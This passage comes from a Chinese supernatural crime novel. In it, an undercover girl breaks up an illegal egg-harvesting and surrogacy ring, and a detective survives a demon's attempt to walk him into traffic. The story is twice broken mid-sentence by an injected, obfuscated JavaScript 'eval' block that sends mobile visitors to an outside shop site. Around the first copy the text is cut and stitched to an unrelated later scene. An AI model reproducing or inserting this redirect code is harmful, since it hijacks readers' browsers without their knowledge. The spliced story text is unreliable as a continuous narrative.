车门拉开,里面坐着个同样不安的女孩,和一个身材壮硕、面无表情的男人。 “戴上,不许摘。”男人凶凶地递来两个厚眼罩。 薛宓顺从地戴上。 与此同时,车辆频繁转弯,像是在故意绕路,以此混淆她们的方位感。 不知过了多久,车停了。 她们被搀扶着下车,被带进一间所谓的接待室。 被命令可以摘眼罩后,突如其来的光线刺得薛宓眯起了眼。 接待室里已经坐了好几个年轻女孩,四周的摄像头无处不在,所有窗户都被封死,唯一的出口,是一扇紧闭的、通向内部未知区域的铁门。 死寂的空气里,只有女孩们压低的、发颤的交谈。 “没事的啦,”一个声音怯生生地安慰着同伴,也像在安慰自己,“网上说就跟打针一样,很快的……不疼。” “真的吗?可我有点怕……” “怕啥呀!”第三个女孩插话,语气故作轻松,“我隔壁村的小芳,上个月刚做过,就是她推荐我来的。拿了钱都给家里盖房了。人家医生说了,这就像、就像每个月那什么一样,流点血,正常的,对身体没影响。” 她顿了顿,声音里透出一点羡慕:“以前她爸妈眼里只有她弟弟,现在啊,可是把她当功臣宠着呢。等我拿到钱,我也能上大学了,还能买部手机……” 最先开口的女孩赶紧附和:“对对,护士姐姐也跟我说,女人卵一子多的是,每个月都浪费,拿掉几颗不要紧的,还能赚钱……我们这算帮家里减轻负担了。” 明明是阖家欢乐的春节,这些女孩却因各种生活的重压聚集在这间阴暗的屋子里。 她们像是在互相安慰,又像是在说服自己,试图用轻描淡写的话语,掩盖内心深处对未知伤害的巨大恐惧,以此用自己的身体作为筹码,换取一份渺茫的希望。 薛宓不动声色地用纽扣摄像头记录下这一切。这时,手臂被人轻轻推了推,是和她一同被带来的女生,正怯生生地问:“你……你怕吗?” 薛宓直接反问:“你不怕吗?” 没等对方回答,她继续说道:“他们说只取几个,但黑机构可能一次取二三十颗。为了取更多,他们会过量用促排药。这会让卵一巢变大,血管透性增加,□□漏到腹腔、胸腔,引起腹水、胸水、全身肿。严重的会血液浓缩,肝肾功能衰竭,形成血栓,可能引发脑梗、肺栓塞,甚至死。” 薛宓的声音不高,却让整个房间瞬间安静,所有女孩都惊愕地看向她。那些刻意背下的专业词汇像石头砸在心上,几个女孩脸色发白。 薛宓更平静地比划着:“取一卵手术是用一根长长的穿刺针。针有这么这么长哦~” “操作的人技术不行或环境不干净,很容易刺伤卵一巢、肠子、膀胱、血管,导致内出血。地下手术室消毒差,器械可能重复用,会引发盆腔感染、腹膜炎、输一卵一管脓肿,造成慢性疼痛、粘连堵塞,最后造成终身不孕。非法机构用的麻醉师不专业,或者麻药是劣质的,剂量不对可能呼吸抑制、过敏、脑损伤,甚至死。 一个女孩终于受不了,尖声反问:“你这么怕,为什么还来?” “我只是说事实。”薛宓的目光扫过全场,“你们把后果说得这么云淡风轻,让人怀疑你们是不是被诱骗进来的。非法取一卵绝不是什么‘轻松赚钱、无害身体''的小事。” 她继续施加心理压力:“频繁、过量促排和取一卵,会提前耗光女人一辈子固定的卵一子储备,让卵一巢早衰,提早进入更年期。反复手术创伤和感染会让盆腔器官粘在一起,严重破坏子宫和卵一巢环境,再也无法自然怀孕。” 和她一同来的女生本来就害怕,此刻猛地站起来,哭丧着说:“我……我不做了,我要回家……” 吵闹声惊动了门口的看守者,对方凶神恶煞地吼道:“吵什么吵!” “我、我要回家!”越来越多的女生哭着说要回去。 看守的人察觉到不对劲,但最近他们刚经历举报临时换了地点,不敢太过强硬,最终还是不情愿地让这些女生戴上眼罩。 但仍有几个固执地留了下来——对她们,再大的风险也抵不过眼前缺钱的困境。 等到蒙着眼被推下车时,那些女生才恍惚发现,离开的人中竟没有刚才那位危言耸听的女生。 而薛宓趁着混乱,已经深入到了机构内部。 在一个转角阴影处,她意外瞥见了一个熟悉的身影——陈弘毅! 他正鬼鬼祟祟地用手机拍摄着什么。 原来,今天负责取一卵手术的医生竟是陈弘毅。 他正用手机紧张地拍摄着走廊尽头的房间和进出的人员,一抬头猛地看见一个陌生小姑娘站在面前,吓得手忙脚乱地想藏起手机。 他强装镇定,板起脸试图维持权威:“看什么?快去那边躺着,准备手术。” 薛宓却轻笑一声,直接揭穿了他:“陈弘毅,我是刑警支队的人。” 陈弘毅浑身一僵,难以置信自己戴着口罩竟也被认出,更没想到警察早已盯上这里。他顿时慌了,冷汗直冒,却听少女继续说:“别乱动哦,陈医生。我的眼睛能看到些不一样的东西。” 她微微歪头,目光仿佛穿透了他的身体。 “你背上,正趴着个好朋友呢。唔……他说,你也想戴罪立功?” 明明只是个看似未成年的小姑娘,可那双仿佛能洞穿虚实的眼睛,和那句精准戳破他心中所想的低语,让陈弘毅从头到脚泛起一股寒意,由不得他不信。 薛宓看着他煞白的脸色,知道震慑已然起效,便命令道:“既然你想戴罪立功。现在给你个机会。等会儿照常叫她们进来,假装手术,但什么都不准真做。懂?” 陈弘毅如蒙大赦,连忙点头应下,不敢有丝毫违逆。 趁手术准备间隙,薛宓从他口中套出更多线索。陈弘毅坦白,他只负责取一卵这一环节,而最近他调查后发现,这家机构背后有着严密的产业链。 他们通过短视频平台招募所谓“卵一妹”,几万块收卵一子,再以五十到百万的价格卖代孕套餐。 他压低声音,指向走廊更深处:“那里面……就是代孕操作间。” 拿到关键信息,薛宓再次潜入核心区。尽管到处是监控,但那些监控根本捕捉不到她的身影。她如入无人之境,一直进到最里面的手术室。 而眼前的场景,令即便是做足了功课的薛宓,也骤然眉头紧锁。 为了这次潜伏行动,她提前查阅了大量资料,自以为已经见识过了黑机构所能触及的底线,然而现实依然超出了她最坏的想象。 一个显然毫无医疗资质的人,正仅凭一部开着微信视频的手机,听着那头远程指导,战战兢兢地对手术台上身形单薄的代孕母亲进行胚胎移植。 手术台旁,各种医疗器械杂乱无章地堆放着,几瓶没标有效期的冻存液像矿泉水似的立在桌边。 整个环境不仅简陋,更透着一股令人窒息的肮脏…… 半小时后,贺黎筠根据薛宓的定位,带队突袭,端掉了这个窝点。 警察冲入时,内部人员疯狂逃窜,但警方早已布下包围网。最终,所有嫌疑人落网,大量物证被固定。 被捕的操作人员在审讯中坦白,一家三甲医院的医生临时无法到场,才由他顶替上岗。而深入调查发现,这黑机构竟与多家正规医院医生形成地下联盟,通过伪造病历、套取医保额度规避监管。 他们甚至将黑手伸向了遗体捐献者,偷卖本用于科研或移植的器官。 与“爱心捐一卵”广告如出一辙,他们也在网上发布虚假信息,以“高额补偿、专业团队、安全无忧”的话术诱骗急需用钱的弱势群体。在金钱的诱惑下,长期进行非法代孕和器官交易。 而医院某位监管人员是怕孟怀谦提交的举报信会牵出非法代孕及器官买卖的黑幕,进而危及自身,当即决定先发制人。在举报信尚未扩散之际,果断派人将孟怀谦灭口。 没想到,竟是这样荒唐的理由…… 薛宓轻叹一声,准备把这个结果告诉孟怀谦。 这段时日,医院大厅一角,专门为孟怀谦设立了一面悼念墙。墙前摆满了新鲜的鲜花和卡片,来往的医生与病人时常在此驻足,留下几句惋惜与哀思。 而薛宓总能看到孟怀谦久久徘徊于此,望着那些为他而写的字句,无声地泪流满面。 但今天,薛宓特意去找孟怀谦时,却发现哪里都找不到他了…… 他消失了。 或许冤屈得雪、执念已消,他便放下心结,前往该去的归处了吧。 但,很安静…… 整座医院安静得连一个游荡的亡灵都感知不到…… 被净化的孟怀谦不可能再吞噬亡灵,薛宓总感觉哪里不对劲,直到她转过身,看见一个被簇拥着、坐在轮椅上的男人。 她从未见过有人身上的恶念能如此浓重。 那几乎不再是雾气,而是粘稠如沥青、厚重如茧的漆黑能量,翻滚着,缠绕着,仿佛由无数亡灵的哀嚎、扭曲的欲望交织而成。 它浓郁得近乎实质,所经之处,连光线都似乎被吞噬。 那不像是人类能散发出的气息。 更像是有某种极其可怕的“东西”,寄生在了那具躯壳之中—— 不。 不是像。 他就是被恶鬼彻底寄生了。 “薛宓。” 贺黎筠的声音将薛宓从凝视中唤回。她转过头,就见他不知何时来到身边,正表情严肃地看着她。 “怎么了?”他压低声音问,“为什么一直盯着魏家的人看?” 薛宓的目光重新投向远处那个坐在轮椅上的身影,与记忆中新闻发布会上的模样又苍老了些许多,仿佛被抽走了精气。 “那个轮椅上的人是魏延璋?”她有些不确定地低声确认。 “嗯。”贺黎筠顺着她的目光看去,“他刚做完手术,今天出院。” 薛宓玩味地笑道:“我现在总算明白,魏家是怎么爬上青江市龙头之位的了。他们拜的是恶鬼。是靠那东西的邪力发的家,甚至早年还沾过人命。” 而孟怀谦的魂魄之所以残缺不全,这家医院为何干净得连一个游荡的亡灵都找不到,是因为他们全都被这只恶鬼吞噬了。 这个以灵魂为食的恶鬼,不知已吞噬了多少冤魂,积蓄了何等强大的力量。而如今,魏延璋年老体衰,经历手术之后更是元气大伤,已然无法再镇住这只日益强大的恶鬼。 它正在躁动不安地寻找新的、更强大的宿主。 可要找到一个比白手起家、心狠手辣建起商业帝国的魏延璋更恶、更狠、更能提供充沛“养料”的人,谈何容易? 正因如此,它才迟迟没有离去。 因薛宓那句“他拜了恶鬼,还杀过人”的断言,再加上其中一家涉事医院,竟是魏氏集团旗下的私立医院,贺黎筠对魏延璋及其背后的魏氏集团展开了深入调查。 这一查,果然发现不少问题。 魏氏通过复杂股权结构,实际控股本市及周边多家私立医院,构建起庞大医疗网络。 更值得注意的是,这些医院背后牵扯多起曾被低调处理的医疗事故赔偿纠纷,所有诉讼和舆论质疑最终都被魏家以财力和人脉悄然压下,像从未发生。 半个月后,魏宅书房。 “父亲。”手指夹着一枚黑色U盘,魏明璟缓步踱到书桌前,“我们之间,什么时候需要用到‘调查’这种词了?” 他将U盘放在红木桌面上,直视着魏延璋骤然收缩的瞳孔,慢条斯理道:“您派出来的人,手段实在不高明。下次如果想知道我每天做了什么,不如直接来问我……您说呢?” 魏延璋坐在阴影里,脸色愈发阴沉:“十六年前的案子,好不容易才被世人淡忘,你为什么非要再去动那个模仿犯?你知不知道,你这样做,等于把所有人的目光又重新拉回到了这个案子上!” “哦?原来您一直都知道。那当年那个紧追不舍的警察,也是您派人处理掉的?怪不得那时急着把我送出国深造。” 魏明璟俯身,双手撑在桌面,逼近魏延璋,“您是在替我扫尾,还是在害怕我?” “我也没想到!”魏延璋气得猛地一拍桌子,“我魏延璋竟会生出你这样一个恶魔!你连明俊都不放过!他是你弟弟!” “他?”魏明璟打断,语气轻蔑像谈垃圾,“那种没出息的劣等基因,活着也是浪费资源。我这是在为您,为魏家解决潜在麻烦。难道您想等他将来闯祸,连累集团?” “你——!”魏延璋气得指着他,一时竟说不出一句完整的话。 魏明璟缓缓站直,整理了下衣褶,语气恢复那种冰冷的优雅:“我和魏明俊那个废物不同。我能让魏氏集团达到前所未有的高度。父亲,您为什么就是不能完全信任我呢?” “信任?!你让我怎么信任!警方正在调查的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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年资已满的邱东奇恰逢荣休,组织上早有考量,决意培养年轻力量。而贺黎筠作为警界新锐,能力出众,刚刚晋升二级警长,便被顺势推上了这个位置。 此时,退休欢送会刚散场,贺黎筠默默收起最后一块写着“欢送邱队”的立牌,拿起搭在椅背上的外套,转身欲走。 “黎筠!” 他被邱东奇叫住了。 邱东奇深吸了一口烟,问道:“还回去盯案子?” “嗯,十六年前的那个案子,有点新线索。” 话音落下,邱东奇夹着烟的手指几不可察地微微一颤。冗长的沉默在两人之间蔓延,直到那点猩红快烧到指尖,他才哑声道:“走吧,一同回去。” “你升得很快,三十岁的中队长,史无前例。”回到办公室,邱东奇忽然开口,声音干涩,“我知道外面有人说什么,但他们不懂。你办的案子,立的功,都是实打实的。你父亲要是看到,他会……” 他哽住了,狠狠嘬了一口烟,才继续道:“当年你父亲那案子,最初的验尸报告,我看过初稿。” 贺黎筠的身体瞬间绷紧了,但他没有打断。 “上面写,开枪的人,姿势很稳,是远距离一击毙命……像个老手。”邱东奇的声音压得更低了,仿佛怕被第三个人听见,“可最后正式的报告,这话没了,变成了□□寻仇,近距离射击。” “为什么?”贺黎筠只问了三个字。 “为什么?”邱东奇苦笑了一下,烟雾从他鼻孔里缓缓溢出,“那时候我闺女病得快死了,需要钱,一大笔钱。然后,我就收到了一笔来历不明的汇款。我收了……他们能直接把手伸进法医室,篡改这种铁证……能动用这种关系去改一份核心证据,说明……说明是我们系统内部的人,而且层级非常高。所以,我没再敢往下问。” “但这十六年,我暗中留意到,凡是与魏氏集团作对、或调查他们的人,最终都莫名失败、调离,甚至遭遇意外……” 邱东奇长长吐了口烟:“为此,我私下收集、保留了一些零散的证据,藏在一个只有我知道的地方。总想着,再等等,等到一个合适的时机。然而这样一等,就等到了退休……” “说到底,是明哲保身。”他苦笑,烟雾随着叹息散开,“当年那笔钱,像一道无形枷锁,把我彻底锁死了。他们能精准找到我女儿的弱点,就能轻易毁掉我整个家。我害怕了……这份恐惧,压了我整整十六年。” 他的目光再次落到贺黎筠身上,那双经历过风浪的眼睛里,翻涌着愧疚、释然,与一丝重新燃起的微光。 “但最近,我看着你……看着你毫无顾忌、一头撞向南墙也要查个明白的劲头,我才觉得,我藏在那些见不得光的地方的东西……那些纸片,那些数字,或许终于到了它们该派上用场的时候了。它们的存在,或许等的就是今天,等的就是你这样的人。” 他从抽屉最深处,摸出一把旧钥匙,如同托付毕生的重量,轻轻推过桌面。 “拿去吧,我能赎的罪,就这么多了。” 握着那把冰凉而沉重的钥匙,贺黎筠的手指难以抑制地微微颤抖。 “邱队,”他抬起眼,目光灼灼,“那依照您看到的、听到的一切,您认为,杀害我父亲的,就是魏延璋派去的职业杀手,对吗?” 邱东奇迎着他的目光,没有立刻回答。他又深吸了一口烟,仿佛需要这尼古丁来支撑接下来的话。烟雾缓缓吐出,他的眼神在浑浊的空气中显得复杂而凝重。 “黎筠。”他最终开口,每个字都斟酌得很小心,“我也不能完全确定。当年,你父亲负责的都是凶杀重案,与魏氏集团在明面上并无明显交集,但也可能,他背后查到了什么,触及魏氏利益,才被灭口。” “但这背后有没有更深的纠葛?魏延璋是否是唯一的幕后主使?这些都需要你接下来的调查去证实。” “我的‘认为’,只能是你追查的方向,而不能是法庭上的结论。你明白吗?” 整整十六年,贺黎筠第一次触摸到了一个清晰的、可能通向真相的突破口。 加上薛宓曾说“魏延璋杀过人”,虽然还没有直接证据证明魏延璋就是雇凶杀害他父亲的元凶,但所有的线索、直觉和多年积累的愤懑,几乎让他内心认定——魏延璋就是那个幕后黑手! 然而,就在他拿到邱东奇暗中积攒的证据,准备进一步行动时,一个突如其来的消息打断了一切—— 魏延璋死了。 43.共感 魏氏集团的天,塌了。 会议室里,正说着话的魏延璋,突然捂住胸口,脸色惨白地倒地。 高层们围上去,场面乱作一团。虽第一时间送医抢救,但最终没能把人从死神手里抢回来。 消息一出,瞬间像野火般烧遍了全网,官博的悼文和词条#魏延璋突发心脏病去世#下,一片震惊与哗然。可在这铺天盖地的喧嚣中,薛宓却觉得魏延璋的死有些不寻常的诡异。 魏延璋这老狐狸常年受恶鬼护持,就算刚从手术台下来只剩半条命,也绝不至于被一场心脏病轻易带走。 人刚死,魂魄必会徘徊不去。可她潜入医院停尸间,里面只有一具正在僵硬的尸体。周遭空气干净得诡异,竟捕捉不到一丝一毫新魂残留的痕迹。 到了魏延璋头七那日,薛宓再度暗中观察,依旧没有感应到他的魂魄有任何归迹或怨念。 怎么看都不像是正常的病发身亡。 反而像是被他亲手供奉的恶鬼反噬弑杀。那邪物弑主之后,连他的魂魄也一并吞食干净,就像处理医院里的那些亡灵。 恶鬼敢弑主,必定是找到了更强横、更契合的新主人。 薛宓的目光扫过魏家上下,以及所有与魏延璋有牵连的人。没有人周身缠绕不散的阴气,也没有人出现瞳孔涣散、言行错乱的附身迹象。 那只吞噬了魏延璋的恶鬼,到底藏在哪儿? 一个更骇人的念头浮了上来:如果它没有附身,那极可能已经进化,与某个宿主达成了更高阶的契约或共生关系。 就像她和贺黎筠。 魏延璋的死,并未让贺黎筠停下。相反,调查在新董事长魏明璟的配合下,顺利得有些反常。 面对警方询问,他的手指无意识地收紧,那神情中的痛苦与挣扎显得无比真实,仿佛一个儿子的信仰正在眼前彻底崩塌。 “或许是因为明俊意外离世,对父亲打击太大,他迫切地想要再有一个孩子,才一时糊涂,涉足了非法的代孕领域……作为儿子,我对此感到无比痛心和愧疚。” 然而,警方追查的远不止代孕这一桩案件。 当听到父亲可能涉嫌谋害刑警时,他像是被什么猛地击中,怔在原地喃喃重复:“什么?父亲他……还曾经派人害过警察?” 他呆滞在原地,仿佛需要时间消化这骇人的消息,随后猛地摇头,抗拒道:“不……这不可能!我不相信……父亲怎么会……怎么会做出这种事?!” 虽然嘴上说不相信,但在他的高度配合下,警方雷厉风行,该抓的抓,该查的查。 短短半月内,魏延璋时代的旧部被彻底清理出魏氏集团,而林曼绮也因涉嫌洗钱、贿赂公职人员、非法经营等多重罪名被依法逮捕。 这一系列事件,令魏氏集团的股价暴跌,魏明璟为此主动召开了一场记者招待会。 面对记者的逼问,魏明璟面露痛色,沉重地点头:“调查显示,先父为了掩盖某些真相,确曾采取过极端手段,甚至涉嫌牵连了执法人员的伤亡事件。这对我们家族和集团而言,都是不可磨灭的污点。” “正因如此,我们必须与过去的错误彻底切割!我已全面配合警方,所有涉事人员都将接受法律审判,魏氏集团绝不会包庇任何违法行为!” “为了弥补过去的错误,并致力于一个更好的未来,我宣布,魏氏集团将出资成立‘青少年心理援助基金’与‘医疗安全公益基金’,全力关注青少年健康与医疗伦理建设。我们必须用实际行动赎罪,并接受社会的长期监督。” 魏明璟本就凭借谦和知礼、能力出众的精英形象颇受公众好感,加之多起争议事件发生之时他恰在国外,完美避开了所有嫌疑。而魏明俊此前吸毒败露、屡生事端,更让舆论一致认为,所有问题都出在魏延璋和林曼绮的身上。 在众人眼中,魏延璋背叛原配与家庭,宠溺纵容后来所生的幼子,而魏明璟则始终是那个被父亲冷落、被继母排挤的受害者。 如今,小三入狱,荒唐的弟弟和犯下罪行的渣爹相继离世,在许多人看来,这简直是一场迟来的报应。 于是,随着魏明璟主动配合调查、清理门户、高调忏悔并宣布投身公益,舆论对他的正义之举不吝赞誉。 魏氏集团的股价也在经历短暂震荡后迅速反弹,甚至攀升至新高。公众几乎一边倒地拥护这位深明大义、勇于担当的年轻继承人。 三个月,足够让一切尘埃落定。 贺黎筠挪用了来之不易的一周休假,坐进了魏明璟一场公开座谈会的后排。他靠在椅背上,像一个真正的听众,目光沉静地落在那个光芒万丈的演讲者身上。 如今的魏明璟,早已不再是那个临危受命的“最年轻董事长”。 他成功地将自己重塑为一位富有远见的青年慈善家,谈吐间自信从容,对“人类未来的健康图景”与“基因技术的伦理前景”侃侃而谈,引得台下频频点头。 座谈会结束后,人群逐渐散去。魏明璟正与几位学者模样的人交谈,见贺黎筠走来,他微笑着向旁人致歉,主动迎了上来。 “贺队长?真没想到您会来参加这种座谈会。荣幸之至。”他笑着伸手。 “魏董事长的演讲很精彩,”贺黎筠与他握手,语气平稳,“尤其是关于基因技术与伦理的部分,观点很超前。” “叫我明璟就好。”魏明璟从善如流地接话,邀请贺黎筠坐下,“看来贺队长对这个问题很感兴趣?这不仅是技术问题,更关乎我们如何定义人类的未来。我们追求健康,本质上是在追求更优质的生命形态,淘汰先天缺陷与痛苦,这难道不是最大的慈悲吗?” “但由谁来定义优质?又由谁来执行淘汰?所谓的慈悲,如果践踏在个体的生命与权利之上,那它还是慈悲吗?” 面对贺黎筠尖锐的问题,魏明璟微微一笑,对答如流:“法律定义对错,科学定义优劣。而进步,往往伴随着必要的牺牲。如今的孕检已能避免许多遗传疾病。但还远远不够。” “学术界曾发现一种代号为MAOA的战士基因,这是首个被证实与攻击性行为直接相关的基因。而杀人犯们的脑部图像也与常人不同,他们的额叶和颞叶脑功能低下,而这两部分,正好掌管着人的自控力和同理心。” “试想,如果我们能从根本上杜绝遗传病、智力缺陷、甚至犯罪倾向……这难道不是为了更大多数人的福祉所必须迈出的一步?” “按照您的逻辑,您父亲和您弟弟,恐怕也属于会被优化掉的类型。可若没有您父亲,也就不会有您。那岂不是错失了一位栋梁?” “但若没有我父亲,贺队的父亲不就能活下来了吗?” 被抛回来的问题如同一根刺扎在了贺黎筠的心上,他眉头骤然锁紧。 沉默良久,他再次开口,嗓音沉了下去:“我父亲殉职前,手里还有一个悬案未破,就是十六年前的青江市连环杀人案。我想听听魏董的分析。您认为,那个凶手究竟是基于什么来选择受害者的?” “因为这个案子太过轰动,当年我也曾关注过一些公开报道。”魏明璟双手交叠在桌前。 贺黎筠在座谈会上观察到,每当他对话题产生浓厚兴趣时,便会无意识地做出这个动作。 “凶手的挑选绝非随机,而是一种高度精准的环境清理。从社会动力学的角度看,这些受害者——流浪者、从事灰色职业的女性、破坏家庭关系的第三者,他们都处于社会结构的缝隙之中,是体系需要清除的冗余部分。” “不知道警方是如何解读那个标志性的祈祷姿势。”魏明璟稍作停顿,目光掠过对方,才继续深入,“在我看来,那并非嘲弄,更不是发泄仇恨。恰恰相反,那是一种仪式化的超度。他在为他们被玷污的灵魂祈福,替他们完成一场迟来的、由他亲手执行的净化。他或许认为,唯有通过这种极端的方式,才能洗刷他们存在于世的罪孽。” 贺黎筠凝视着他,缓缓接话:“所以,魏董的意思是,凶手将自己视作了某种黑暗中的救赎者,在履行一种自认为崇高且必要的使命。他清除的是他眼中的‘污秽’,而那个手势,是他为自己和受害者共同举行的告别仪式。” “精彩的总结,贺队。”魏明璟轻轻颔首,唇角勾起一丝难以捉摸的弧度,“但这——仅仅是我基于行为模式的一点推测。真正的动机,恐怕只有那位执行者自己,才真正清楚了。” “那么,按照这个逻辑,一个自认为肩负净化使命的执行者,为什么会突然在十六年前戛然而止?既然使命未竟,他为何只执行了寥寥数次,就再无动静?” 魏明璟轻笑一声,摊了摊手,仿佛在说一个再明显不过的事实:“或许,他根本早已落网,又或者十六年前就已因某场意外悄无声息地死了,只是你们不知道罢了。” “国外不就是有这样的案例么?一个逍遥法外数十年的连环杀手,其实早就因其他罪名身陷囹圄,亦或者早已意外身亡,只是无人知晓,徒留一个令人恐惧的虚名罢了。” 他顿了顿,又慢条斯理地补充道:“又或者……他达成了某个阶段性的目标?谁知道呢。” “魏董今天提出的这个新视角,确实让我,茅塞顿开。” 一离开魏明璟视线,贺黎筠的神色瞬间沉了下来。他铁青着脸钻进车里,当即拨打了薛宓的电话。 “魏明璟……十六年前那案子,八成就是他干的。” 他这次没带薛宓同来,一是今天薛宓需要上学,二是因为薛宓曾严肃地说,吞噬魏延璋的那只恶鬼很有可能已和魏明璟达成了某种合作。若她贸然靠近,极易被对方察觉,打草惊蛇。 而薛宓之所以怀疑魏明璟,是因为她那双能看穿恶念的眼睛,在魏明璟身上什么也没看到。 太干净了,仿佛一切常人所具备的私欲、动摇、乃至最细微的阴暗念头,都被某种力量彻底涤荡殆尽,只留下一片平滑如镜、毫无波澜的虚无。 就是这份超乎寻常的诡异,让她推测,魏明璟极可能是那种无论做什么,内心都坚信自己绝对正确、毫无愧疚之人。他的整个价值体系自成一体,逻辑自洽到了扭曲的地步,以至于连他自身都感知不到丝毫“恶”的存在。 而这样一个本身就已超越常规善恶认知的个体,很可能在与恶鬼达成合作后,也能规避她的感知。 他不是隐藏了恶念。 他是从根本上,就不认为自己之所为是“恶”。 与外界对魏明璟的一致赞誉不同,薛宓始终觉得他那份完美之下透着某种令人不安的危险。而贺黎筠,显然更相信薛宓的直觉。 恰巧,贺黎筠在调查魏氏集团案件时,发现十六年前,十六岁的魏明璟在上学期间突然被送出国留学,而那个时间,恰巧是他父亲遇害前几日。 虽然警方认定,魏延璋是为了掩盖其他罪行杀死了他父亲,但有没有一种可能,真正的凶手其实是当时未成年的魏明璟? 魏延璋为了保护儿子,才匆忙将他送走避风头。而他父亲却仍在执着追查,极有可能是触及了真相,魏延璋才不得不铤而走险地将其灭口…… 杀人犯止步于十六年前,不是因为凶手伏法或死亡,而是他早已不在国内。 但他苦苦找了三个月,都没能找到任何直接证据。 也正是这个原因,他才在今天主动试探魏明璟。而刚才那场对话,令他非常不适,魏明璟将连环杀手包装成执行崇高使命的清道夫,这种扭曲的观点,也恰恰符合薛宓无法在他身上感知恶的原因——他将杀人犯的行为正义化了。 他边说,边发动车辆:“我先开车,具体细节见面再谈。” 然而,车驶过十字路口,他正准备减速,脚下猛地一空! 刹车踏板轻飘飘地直接踩到了底,毫无阻力! 根本来不及细想,多年刑警的本能让贺黎筠瞬间做出决断。 他猛打方向盘将车蹭向路边隔离带,利用摩擦减速,同时毫不犹豫地解开安全带,在车速稍缓的刹那,果断推开车门,纵身滚落在地! 然而,就在他跳车落地、惯性使他翻滚卸力的下一秒,一股诡异的力量瞬间控制了他。 本该本能护住头部的双手,僵硬地无法动弹。 他重重地摔在地上,随即一股绝非他自身意识的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16810416|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 充满恶意的外力,强行操控了他的身体,像个提线木偶般,拖拽着他僵硬地、一步一顿地迈向车流汹涌的马路。 他被那东西控制了! 额角青筋暴起,贺黎筠咬紧牙关,将全部意志力灌注于每一寸肌肉,试图夺回控制权。 骨骼关节因剧烈抗拒控制不住地颤抖,却依旧无法抗衡那远超人类的力量。 “滴——!!!”差点撞到他的司机愤怒地按着喇叭,他却还在车流中横穿马路,眼睁睁看着自己一步步走向死亡。 操场上,薛宓正上着体育课,一股毫无预兆的剧痛猛地攥住了她的心脏,痛得她几乎窒息。 这感觉不对,不是□□上的,倒像是灵魂正被什么东西生生撕开。 讲台上老师张合的嘴变得无声,同学们的侧影模糊不清,一段不属于她的失控感和恐惧如电流般灌入。 ——是贺黎筠! 他们签订了灵魂契约,贺黎筠遭遇攻击时,她共感了! 薛宓的瞳孔急剧收缩,一抹骇人的、非人的猩红如血潮般瞬间吞噬了整个眼瞳。 锁定! 意识循着契约的纽带悍然撞入那股正在侵袭贺黎筠的外部意志。 攻击! 没有片刻迟疑,凝聚的力量和怒意化为无形尖刺,向那个试图操控贺黎筠的存在狠狠地刺了回去! 前面的车辆慢吞吞的,卡车司机不耐烦地猛踩油门准备超车,却在转出车道的瞬间惊恐地发现,路中央竟僵立着一个人影! 难怪前面的车开得那么慢!但要自杀也不能害人啊! 刹车已然来不及,卡车司机只能绝望地猛打方向盘试图避让。 千钧一发之际,一股温暖而强大的力量顺着某种无形的纽带涌入贺黎筠的身体。 他只感觉控制他的存在出现了一瞬间的凝滞和松动,而就是这瞬息的空隙,对于训练有素的贺黎筠来说,已经足够了! “呼——!” 卡车擦着他扬起的衣角呼啸而过,贺黎筠猛然夺回身体掌控权,以一个极限的侧闪惊险避过车轮。 卡车司机惊魂未定地死死握住方向盘,目瞪口呆地看着那个本该被撞飞的男子竟在最后一刻不可思议地偏开了身体。 “贺黎筠!你没事吧?!” 薛宓的声音突兀地在脑海中炸开,带着难以掩饰的焦急,心脏疯狂地擂动着胸腔,贺黎筠全身都被劫后余生的冷汗浸透。他震惊地左右张望,却没有看到薛宓。 “我刚才是被一股力量控制了,身体完全不听使唤。”不知薛宓能不能听见,贺黎筠冷静后,努力用意念回复着。 “是那只恶鬼!”薛宓的声音在他脑中迅速回应,语气凝重,“它果然潜伏在魏明璟身边。它的力量比我想象的更强大,还带着一股非常厌恶的气息,恐怕至少有千年道行。刚才若不是它太过轻敌、毫无防备,我绝不可能那么轻易地击中它。” “它现在被我的精神力反击,受了伤,短时间之内应该无法再控制你了。” “我现在立刻赶过来!你待在原地,保持警惕。” 听话地退回到路边的阴影里,贺黎筠默不作声地背靠着冰冷的墙壁,试图让狂跳的心脏和急促的呼吸平复下来。 直到,一个被他忽略的细节猛地跳了出来。 他根本没有报过地址。 薛宓怎么精准赶过来? 她不仅能感知到他的危险,还能精准地定位他的方位? 虽早早签订了契约,但贺黎筠从来没有实感。而薛宓曾说,他们只有心意相通时,才会有心灵感应和能力共享…… 现在他们已经有心灵感应了,那是不是说明…… 他对薛宓,早已在不知不觉间,撤下了所有心防? 不再是出于对她能力的利用,不再是出于对非人存在的警惕,而是源于一种更深层的、连他自己都未曾细察的—— 全身心的信任。 这个念头让他呼吸微滞,一种复杂而汹涌的情绪悄然漫上心头。 被魏延璋供奉多年的恶鬼,随着力量的不断膨胀,也变得越发挑剔和贪婪。 它早已不再满足寻找一个合作者或供养者,它渴望一具完美的容器,一个能承载它全部力量、助它重临人世的躯壳。 年迈的魏延璋早已不堪使用。 所以,当魏延璋嘶吼着下令要杀死魏明璟的那一刻,恶鬼非但没有执行,反而将贪婪的目光投向了这个更为理想的目标。 多完美的胚子——年轻、强大,从容,骨子里透着一股冰冷的傲慢。就是他了! 它迫不及待地调动力量,试图钻进这具躯壳。 然而,就在它强行附身的那一刻,它骤然察觉到一个致命的错位——它与魏明璟的意志根本无法共频! 魏明璟与魏延璋截然不同。他冷静、理智、傲慢,视众生为蝼蚁,追求的是基因优化和绝对的掌控。这是一种高高在上、理性的恶。 而恶鬼赖以生存和壮大的,却是更原始、更癫狂、更嗜血的本能之恶。 